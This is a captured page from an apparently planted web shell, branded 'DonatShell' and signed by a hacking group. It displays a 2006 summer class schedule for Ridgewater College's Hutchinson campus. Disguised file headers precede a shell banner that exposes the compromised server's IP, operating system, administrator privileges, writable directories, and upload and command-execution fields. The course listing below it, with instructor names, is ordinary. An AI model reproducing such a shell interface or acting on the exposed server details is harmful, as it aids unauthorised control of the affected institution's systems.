GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/ClassLists/html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/ClassLists/html/20071-Hutchinson-ClassList.csv.htm
Ridgewater College - Hutchinson Campus<br>Summer Semester 2006 - Class Schedule<br>Last Updated: Aug 01, 2006 04:13pm<br>
				<table cellpadding="0" cellspacing="0">
		  <tr>
					<td>ClassID</td>
					<td>Class #</td>
					<td>Sec</td>
					<td>Class Title</td>
					<td>Cr</td>
					<td>Enr</td>
					<td>Max</td>
					<td>Meeting Dates</td>
					<td>Days</td>
					<td>Time</td>
					<td>Bldg</td>
					<td>Rm</td>
					<td>Instructor</td>
					<td>Notes</td>
					</tr>
					<tr><td>000176</td><td>ACCT1816</td><td>30</td><td>Prin Acct 2</td><td>4</td><td>4</td><td>14</td><td>06/12/2006 - 07/13/2006</td><td>MTWH</td><td>7:30am - 11:30am</td><td>Main</td><td>261</td><td>Anderson, James</td><td>&nbsp;</td></tr><tr><td>000081</td><td>ART104</td><td>61</td><td>Survey in Art</td><td>3</td><td>9</td><td>22</td><td>07/05/2006 - 08/08/2006</td><td>M&nbsp;W</td><td>6:00pm - 10:15pm</td><td>Main</td><td>355</td><td>Mulder, Lu Anne</td><td>&nbsp;</td></tr><tr><td>000350</td><td>AVT2360</td><td>70</td><td>Intern I                    1</td><td>1.12</td><td>1</td><td>30</td><td>05/30/2006 - 08/08/2006</td><td>&nbsp;</td><td>ARR - ARR</td><td>&nbsp;</td><td>&nbsp;</td><td>Igl, David</td><td>&nbsp;</td></tr><tr><td>000083</td><td>BIOL210</td><td>21</td><td>Human Anatomy</td><td>4</td><td>14</td><td>21</td><td>05/30/2006 - 07/20/2006<br>05/30/2006 - 07/20/2006</td><td>MTWH<br>&nbsp;T&nbsp;H</td><td>12:30pm - 1:45pm<br>2:00pm - 4:45pm</td><td>Main<br>Main</td><td>355<br>380</td><td>Youngdahl, Ann<br>Youngdahl, Ann</td><td>&nbsp;</td></tr><tr><td>000187</td><td>BIOL215</td><td>21</td><td>Microbiology</td><td>4</td><td>22</td><td>21</td><td>05/30/2006 - 07/03/2006<br>05/30/2006 - 07/03/2006</td><td>MTW<br>&nbsp;T&nbsp;H</td><td>1:00pm - 3:40pm<br>9:00am - 1:00pm</td><td>Main<br>Main</td><td>259<br>380</td><td>Anderson, Lori<br>Anderson, Lori</td><td>&nbsp;</td></tr><tr><td>000294</td><td>CAOR101</td><td>1</td><td>Career Explor</td><td>1</td><td>10</td><td>0</td><td>07/10/2006 - 07/20/2006<br>07/10/2006 - 07/20/2006</td><td>MTWH</td><td>9:00am - 10:50am<br> - </td><td>Main<br>Main</td><td>247<br>245</td><td>Achterhoff, Nancy<br>Achterhoff, Nancy</td><td>See TRIO office to register</td></tr><tr><td>000065</td><td>CHEM101</td><td>21</td><td>Surv of Chem</td><td>4</td><td>24</td><td>22</td><td>05/30/2006 - 07/03/2006<br>05/30/2006 - 07/03/2006</td><td>MTWH<br>MT&nbsp;H</td><td>7:30am - 9:50am<br>10:00am - 12:50pm</td><td>Main<br>Main</td><td>360<br>370</td><td>Haraldson, Ronald<br>Haraldson, Ronald</td><td>&nbsp;</td></tr><tr><td>000335</td><td>DRFT2600</td><td>70</td><td>Internship</td><td>1.6</td><td>1</td><td>20</td><td>05/30/2006 - 08/08/2006</td><td>&nbsp;</td><td>ARR - ARR</td><td>&nbsp;</td><td>&nbsp;</td><td>Nass, Stacey</td><td>Laptop fee required</td></tr><tr><td>000093</td><td>ESCI114</td><td>21</td><td>Natural Disasters</td><td>4</td><td>17</td><td>20</td><td>07/05/2006 - 08/08/2006<br>07/05/2006 - 08/08/2006</td><td>M&nbsp;WH<br>&nbsp;T</td><td>9:30am - 11:50am<br>9:30am - 12:30pm</td><td>Main<br>Main</td><td>141<br>360</td><td>Boberg, Wesley<br>Boberg, Wesley</td><td>&nbsp;</td></tr><tr><td>000066</td><td>ENGL121</td><td>21</td><td>Coll Comp I</td><td>3</td><td>21</td><td>25</td><td>05/30/2006 - 07/03/2006</td><td>&nbsp;T&nbsp;H</td><td>12:00pm - 4:30pm</td><td>Main</td><td>151</td><td>Woodke, Sandra</td><td>&nbsp;</td></tr><tr><td>000074</td><td>ENGL122</td><td>21</td><td>Coll Comp II</td><td>3</td><td>10</td><td>25</td><td>07/05/2006 - 08/08/2006</td><td>&nbsp;T&nbsp;H</td><td>1:00pm - 5:00pm</td><td>Main</td><td>141</td><td>Woodke, Sandra</td><td>&nbsp;</td></tr><tr><td>000076</td><td>HIST222</td><td>31</td><td>Mod Euro Hist</td><td>3</td><td>3</td><td>16</td><td>07/05/2006 - 08/08/2006</td><td>M&nbsp;W</td><td>6:00pm - 10:15pm</td><td>Main</td><td>429</td><td>Nelson, C</td><td>&nbsp;</td></tr><tr><td>000372</td><td>HTI1245</td><td>1</td><td>Basic Welding</td><td>0</td><td>0</td><td>8</td><td>07/10/2006 - 08/04/2006</td><td>MTWHF</td><td>8:00am - 2:30pm</td><td>Main</td><td>427</td><td>Lang, Patricia</td><td>&nbsp;</td></tr><tr><td>000373</td><td>HTI1245</td><td>2</td><td>Basic Welding</td><td>0</td><td>0</td><td>8</td><td>07/10/2006 - 08/04/2006</td><td>MTWHF</td><td>8:00am - 2:30pm</td><td>&nbsp;</td><td>&nbsp;</td><td>Lang, Patricia</td><td>&nbsp;</td></tr><tr><td>000307</td><td>MSM1818</td><td>1</td><td>Internship I</td><td>3</td><td>17</td><td>30</td><td>05/30/2006 - 08/08/2006<br> - <br> - </td><td>&nbsp;</td><td>ARR - ARR<br> - <br> - </td><td>Main</td><td>OUT</td><td>Mullins, Lyle<br>Melbye, Vicki<br>Korsmo, David</td><td>&nbsp;</td></tr><tr><td>000308</td><td>MSM1819</td><td>1</td><td>Internship II</td><td>3</td><td>17</td><td>30</td><td>05/30/2006 - 08/08/2006<br> - <br> - </td><td>&nbsp;</td><td>ARR - ARR<br> - <br> - </td><td>Main</td><td>OUT</td><td>Mullins, Lyle<br>Melbye, Vicki<br>Korsmo, David</td><td>&nbsp;</td></tr><tr><td>000067</td><td>MATH97</td><td>21</td><td>Beg Algebra</td><td>3</td><td>14</td><td>35</td><td>05/30/2006 - 07/03/2006</td><td>MTWH</td><td>8:00am - 9:50am</td><td>Main</td><td>246</td><td>Sieve, Michael</td><td>&nbsp;</td></tr><tr><td>000075</td><td>MATH98</td><td>21</td><td>Inter Algebra</td><td>3</td><td>23</td><td>35</td><td>07/05/2006 - 08/08/2006</td><td>MTWH</td><td>8:00am - 9:50am</td><td>Main</td><td>246</td><td>Stone, Gayne</td><td>&nbsp;</td></tr><tr><td>000080</td><td>MATH112</td><td>21</td><td>Coll Algebra</td><td>4</td><td>21</td><td>33</td><td>05/30/2006 - 07/03/2006</td><td>MTWH</td><td>10:00am - 12:45pm</td><td>Main</td><td>246</td><td>Sieve, Michael</td><td>&nbsp;</td></tr><tr><td>000200</td><td>NDT1030</td><td>20</td><td>Liq Pen Inspection</td><td>2</td><td>4</td><td>20</td><td>05/23/2006 - 06/29/2006</td><td>MTWH</td><td>8:30am - 3:30pm</td><td>Main</td><td>315</td><td>Berndt, Dennis</td><td>&nbsp;</td></tr><tr><td>000201</td><td>NDT1040</td><td>20</td><td>Intro Radiography</td><td>3</td><td>1</td><td>16</td><td>05/23/2006 - 06/29/2006</td><td>MTWH</td><td>8:30am - 3:30pm</td><td>Main</td><td>315</td><td>Mullan, Michael</td><td>&nbsp;</td></tr><tr><td>000202</td><td>NDT1050</td><td>20</td><td>Rad Insp I</td><td>2</td><td>1</td><td>16</td><td>05/23/2006 - 06/29/2006</td><td>MTWH</td><td>8:30am - 3:30pm</td><td>Main</td><td>315</td><td>Mullan, Michael</td><td>&nbsp;</td></tr><tr><td>000203</td><td>NDT1051</td><td>20</td><td>Rad Insp II</td><td>2</td><td>1</td><td>16</td><td>05/23/2006 - 06/29/2006</td><td>MTWH</td><td>8:30am - 3:30pm</td><td>Main</td><td>315</td><td>Mullan, Michael</td><td>&nbsp;</td></tr><tr><td>000204</td><td>NDT1060</td><td>1</td><td>Intro Ultrasonics</td><td>3</td><td>0</td><td>20</td><td>05/23/2006 - 06/29/2006</td><td>MTWH</td><td>9:00am - 9:50am</td><td>Main</td><td>355</td><td>Frie, Gerald</td><td>&nbsp;</td></tr><tr><td>000205</td><td>NDT1070</td><td>1</td><td>Ult Insp I</td><td>2</td><td>0</td><td>20</td><td>05/23/2006 - 06/29/2006</td><td>MTWH</td><td>9:00am - 9:50am</td><td>Main</td><td>355</td><td>Frie, Gerald</td><td>&nbsp;</td></tr><tr><td>000206</td><td>NDT1071</td><td>1</td><td>Ult Insp II</td><td>2</td><td>0</td><td>20</td><td>05/23/2006 - 06/29/2006</td><td>MTWH</td><td>9:00am - 9:50am</td><td>Main</td><td>355</td><td>Frie, Gerald</td><td>&nbsp;</td></tr><tr><td>000207</td><td>NDT1080</td><td>20</td><td>Eddy Cur Inspection</td><td>3</td><td>5</td><td>16</td><td>05/23/2006 - 06/29/2006</td><td>MTWH</td><td>8:30am - 3:30pm</td><td>Main</td><td>315</td><td>Mullan, Michael</td><td>&nbsp;</td></tr><tr><td>000208</td><td>NDT1090</td><td>20</td><td>Mag Part Inspection</td><td>2</td><td>2</td><td>20</td><td>05/23/2006 - 06/29/2006</td><td>MTWH</td><td>8:30am - 3:30pm</td><td>Main</td><td>315</td><td>Berndt, Dennis</td><td>&nbsp;</td></tr><tr><td>000209</td><td>NDT1100</td><td>20</td><td>Mfg Processes</td><td>2</td><td>6</td><td>20</td><td>05/23/2006 - 06/29/2006</td><td>MTWH</td><td>8:30am - 3:30pm</td><td>Main</td><td>315</td><td>Berndt, Dennis</td><td>&nbsp;</td></tr><tr><td>000210</td><td>NDT1140</td><td>20</td><td>B Print Reading</td><td>1</td><td>0</td><td>20</td><td>05/23/2006 - 06/29/2006</td><td>MTWH</td><td>8:30am - 3:30pm</td><td>Main</td><td>315</td><td>Frie, Gerald</td><td>&nbsp;</td></tr><tr><td>000211</td><td>NDT1501</td><td>1</td><td>Intro Ndt</td><td>1</td><td>5</td><td>30</td><td>05/23/2006 - 06/29/2006</td><td>&nbsp;</td><td> - </td><td>&nbsp;</td><td>&nbsp;</td><td>Mullan, Michael</td><td>&nbsp;</td></tr><tr><td>000212</td><td>NDT1510</td><td>20</td><td>Fund Metallurgy</td><td>3</td><td>3</td><td>16</td><td>05/23/2006 - 06/29/2006</td><td>MTWH</td><td>8:30am - 3:30pm</td><td>Main</td><td>315</td><td>Frie, Gerald</td><td>&nbsp;</td></tr><tr><td>000213</td><td>NDT1516</td><td>20</td><td>Codes/Specs</td><td>1</td><td>1</td><td>20</td><td>05/23/2006 - 06/29/2006</td><td>MTWH</td><td>8:30am - 3:30pm</td><td>Main</td><td>315</td><td>Frie, Gerald</td><td>&nbsp;</td></tr><tr><td>000214</td><td>NDT1517</td><td>20</td><td>Rep Frms/Writing</td><td>1</td><td>1</td><td>20</td><td>05/23/2006 - 06/29/2006</td><td>MTWH</td><td>8:30am - 3:30pm</td><td>Main</td><td>315</td><td>Berndt, Dennis</td><td>&nbsp;</td></tr><tr><td>000347</td><td>NDT2020</td><td>1</td><td>Quality Improvement</td><td>2</td><td>1</td><td>30</td><td>05/23/2006 - 06/29/2006</td><td>MTWH</td><td>8:30am - 3:30pm</td><td>Main</td><td>315</td><td>Berndt, Dennis</td><td>&nbsp;</td></tr><tr><td>000215</td><td>NDT2030</td><td>20</td><td>Ad Liq Pen Inspection</td><td>1</td><td>3</td><td>20</td><td>05/23/2006 - 06/29/2006</td><td>MTWH</td><td>8:30am - 3:30pm</td><td>Main</td><td>315</td><td>Berndt, Dennis</td><td>&nbsp;</td></tr><tr><td>000216</td><td>NDT2040</td><td>20</td><td>Isot/Rad Safety</td><td>3</td><td>0</td><td>20</td><td>05/23/2006 - 06/29/2006</td><td>MTWH</td><td>8:30am - 3:30pm</td><td>Main</td><td>315</td><td>Berndt, Dennis</td><td>&nbsp;</td></tr><tr><td>000217</td><td>NDT2049</td><td>20</td><td>Ad Radiog I</td><td>2</td><td>1</td><td>20</td><td>05/23/2006 - 06/29/2006</td><td>MTWH</td><td>8:30am - 3:30pm</td><td>Main</td><td>315</td><td>Berndt, Dennis</td><td>&nbsp;</td></tr><tr><td>000218</td><td>NDT2051</td><td>20</td><td>A Radiog II</td><td>3</td><td>1</td><td>20</td><td>05/23/2006 - 06/29/2006</td><td>MTWH</td><td>8:30am - 3:30pm</td><td>Main</td><td>315</td><td>Berndt, Dennis</td><td>&nbsp;</td></tr><tr><td>000219</td><td>NDT2060</td><td>20</td><td>A Ultras I</td><td>3</td><td>3</td><td>20</td><td>05/23/2006 - 06/29/2006</td><td>MTWH</td><td>8:30am - 3:30pm</td><td>Main</td><td>315</td><td>Frie, Gerald</td><td>&nbsp;</td></tr><tr><td>000220</td><td>NDT2061</td><td>20</td><td>A Ultras II</td><td>2</td><td>2</td><td>20</td><td>05/23/2006 - 06/29/2006</td><td>MTWH</td><td>8:30am - 3:30pm</td><td>Main</td><td>315</td><td>Frie, Gerald</td><td>&nbsp;</td></tr><tr><td>000221</td><td>NDT2062</td><td>20</td><td>A Ultra III</td><td>2</td><td>2</td><td>20</td><td>05/23/2006 - 06/29/2006</td><td>MTWH</td><td>8:30am - 3:30pm</td><td>Main</td><td>315</td><td>Frie, Gerald</td><td>&nbsp;</td></tr><tr><td>000222</td><td>NDT2080</td><td>20</td><td>A Ed Cur I</td><td>2</td><td>5</td><td>16</td><td>05/23/2006 - 06/29/2006</td><td>MTWH</td><td>8:30am - 3:30pm</td><td>Main</td><td>315</td><td>Mullan, Michael</td><td>&nbsp;</td></tr><tr><td>000223</td><td>NDT2081</td><td>20</td><td>A Ed Cur II</td><td>2</td><td>4</td><td>16</td><td>05/23/2006 - 06/29/2006</td><td>MTWH</td><td>8:30am - 3:30pm</td><td>Main</td><td>315</td><td>Mullan, Michael</td><td>&nbsp;</td></tr><tr><td>000224</td><td>NDT2090</td><td>20</td><td>Adv Mag Particle</td><td>1</td><td>3</td><td>20</td><td>05/23/2006 - 06/29/2006</td><td>MTWH</td><td>8:30am - 3:30pm</td><td>Main</td><td>315</td><td>Berndt, Dennis</td><td>&nbsp;</td></tr><tr><td>000225</td><td>NDT2110</td><td>20</td><td>Aco Emission Inspection</td><td>1</td><td>1</td><td>16</td><td>05/23/2006 - 06/29/2006</td><td>MTWH</td><td>8:30am - 3:30pm</td><td>Main</td><td>315</td><td>Mullan, Michael</td><td>&nbsp;</td></tr><tr><td>000226</td><td>NDT2150</td><td>20</td><td>Infrared Inspection</td><td>1</td><td>2</td><td>16</td><td>05/23/2006 - 06/29/2006</td><td>MTWH</td><td>8:30am - 3:30pm</td><td>Main</td><td>315</td><td>Mullan, Michael</td><td>&nbsp;</td></tr><tr><td>000227</td><td>NDT2160</td><td>1</td><td>App Physics</td><td>3</td><td>0</td><td>20</td><td>05/23/2006 - 06/29/2006</td><td>&nbsp;TWH</td><td>9:00am - 9:50am</td><td>Main</td><td>355</td><td>Frie, Gerald</td><td>&nbsp;</td></tr><tr><td>000228</td><td>NDT2170</td><td>20</td><td>Ad Visual Inspection</td><td>2</td><td>1</td><td>20</td><td>05/23/2006 - 06/29/2006</td><td>MTWH</td><td>8:30am - 3:30pm</td><td>Main</td><td>315</td><td>Berndt, Dennis</td><td>&nbsp;</td></tr><tr><td>000232</td><td>NDT2230</td><td>80</td><td>Asnt Conference</td><td>1</td><td>0</td><td>30</td><td>05/23/2006 - 06/29/2006</td><td>&nbsp;</td><td> - </td><td>&nbsp;</td><td>&nbsp;</td><td>Frie, Gerald</td><td>&nbsp;</td></tr><tr><td>000233</td><td>NDT2240</td><td>70</td><td>Internship I                1</td><td>1.11</td><td>0</td><td>30</td><td>05/23/2006 - 06/29/2006</td><td>&nbsp;</td><td> - </td><td>&nbsp;</td><td>&nbsp;</td><td>Frie, Gerald</td><td>&nbsp;</td></tr><tr><td>000234</td><td>NDT2250</td><td>70</td><td>Internship II               1</td><td>1.11</td><td>0</td><td>30</td><td>05/23/2006 - 06/29/2006</td><td>&nbsp;</td><td> - </td><td>&nbsp;</td><td>&nbsp;</td><td>Frie, Gerald</td><td>&nbsp;</td></tr><tr><td>000229</td><td>NDT2260</td><td>20</td><td>Composite I</td><td>1</td><td>1</td><td>16</td><td>05/23/2006 - 06/29/2006</td><td>MTWH</td><td>8:30am - 3:30pm</td><td>Main</td><td>315</td><td>Mullan, Michael</td><td>&nbsp;</td></tr><tr><td>000230</td><td>NDT2510</td><td>20</td><td>Leak Testing</td><td>1</td><td>0</td><td>20</td><td>05/23/2006 - 06/29/2006</td><td>MTWH</td><td>8:30am - 3:30pm</td><td>Main</td><td>315</td><td>Berndt, Dennis</td><td>&nbsp;</td></tr><tr><td>000231</td><td>NDT2527</td><td>20</td><td>Aws Weld Evaluation</td><td>2</td><td>0</td><td>20</td><td>05/23/2006 - 06/29/2006</td><td>MTWH</td><td>8:30am - 3:30pm</td><td>Main</td><td>315</td><td>Berndt, Dennis</td><td>&nbsp;</td></tr><tr><td>000006</td><td>NA1125</td><td>60</td><td>Home Health Aide</td><td>1</td><td>5</td><td>35</td><td>05/15/2006 - 05/16/2006</td><td>MT</td><td>3:30pm - 9:30pm</td><td>Main</td><td>231</td><td>DeVries, Carol</td><td>&nbsp;</td></tr><tr><td>000295</td><td>NA1125</td><td>91</td><td>Home Health Aide</td><td>1</td><td>8</td><td>20</td><td>06/20/2006 - 06/21/2006</td><td>&nbsp;TW</td><td>3:30pm - 9:30pm</td><td>Main</td><td>263</td><td>DeVries, Carol</td><td>&nbsp;</td></tr><tr><td>000296</td><td>NA1125</td><td>92</td><td>Home Health Aide</td><td>1</td><td>7</td><td>20</td><td>07/25/2006 - 07/26/2006</td><td>&nbsp;TW</td><td>3:30pm - 9:30pm</td><td>Main</td><td>263</td><td>DeVries, Carol</td><td>&nbsp;</td></tr><tr><td>000289</td><td>NA1612</td><td>90</td><td>Nursing Assistant</td><td>3</td><td>20</td><td>20</td><td>05/22/2006 - 06/19/2006</td><td>MTWH</td><td>4:30pm - 9:30pm</td><td>Main</td><td>263</td><td>DeVries, Carol</td><td>&nbsp;</td></tr><tr><td>000290</td><td>NA1612</td><td>91</td><td>Nursing Assistant</td><td>3</td><td>20</td><td>20</td><td>06/26/2006 - 07/24/2006</td><td>MTWH</td><td>4:30pm - 9:30pm</td><td>Main</td><td>263</td><td>DeVries, Carol</td><td>&nbsp;</td></tr><tr><td>000291</td><td>NA1612</td><td>92</td><td>Nursing Assistant</td><td>3</td><td>20</td><td>20</td><td>07/31/2006 - 08/24/2006</td><td>MTWH</td><td>4:30pm - 9:30pm</td><td>Main</td><td>263</td><td>DeVries, Carol</td><td>&nbsp;</td></tr><tr><td>000360</td><td>PHD1160</td><td>80</td><td>Assist School Nurse</td><td>2</td><td>0</td><td>30</td><td>08/02/2006 - 08/21/2006</td><td>MTW</td><td>8:00am - 4:00pm</td><td>&nbsp;</td><td>&nbsp;</td><td>Lagerstedt, Carla</td><td>&nbsp;</td></tr><tr><td>000346</td><td>PHD2800</td><td>80</td><td>Prof. Development</td><td>1</td><td>0</td><td>50</td><td>05/10/2006 - 07/01/2006</td><td>&nbsp;</td><td> - </td><td>&nbsp;</td><td>&nbsp;</td><td>Evenski, Joyce</td><td>&nbsp;</td></tr><tr><td>000069</td><td>PSYC131</td><td>61</td><td>Intro to Psyc</td><td>4</td><td>23</td><td>40</td><td>05/30/2006 - 07/03/2006</td><td>&nbsp;T&nbsp;H</td><td>5:00pm - 10:15pm</td><td>Main</td><td>151</td><td>Wood, Jon</td><td>&nbsp;</td></tr><tr><td>000073</td><td>PSYC263</td><td>21</td><td>Devel Psyc</td><td>3</td><td>19</td><td>40</td><td>07/05/2006 - 08/08/2006</td><td>MTWH</td><td>10:10am - 12:10pm</td><td>Main</td><td>151</td><td>Haglin, Andrea</td><td>&nbsp;</td></tr><tr><td>000070</td><td>SOC106</td><td>61</td><td>Gen Soc Prob</td><td>3</td><td>15</td><td>40</td><td>07/05/2006 - 08/08/2006</td><td>&nbsp;T&nbsp;H</td><td>6:00pm - 10:15pm</td><td>Main</td><td>151</td><td>Hedberg, Denise</td><td>&nbsp;</td></tr><tr><td>000068</td><td>SPCH121</td><td>21</td><td>Intro to Commun</td><td>3</td><td>21</td><td>23</td><td>05/30/2006 - 07/03/2006</td><td>M&nbsp;W</td><td>12:00pm - 4:30pm</td><td>Main</td><td>151</td><td>Bredeson, Julie</td><td>&nbsp;</td></tr><tr><td>000077</td><td>SPCh326</td><td>61</td><td>Interpers Com</td><td>3</td><td>15</td><td>30</td><td>05/30/2006 - 07/03/2006</td><td>&nbsp;T&nbsp;H</td><td>6:00pm - 10:15pm</td><td>Main</td><td>141</td><td>Pierce, Douglas</td><td>&nbsp;</td></tr></table>

Anon7 - 2022
AnonSec Team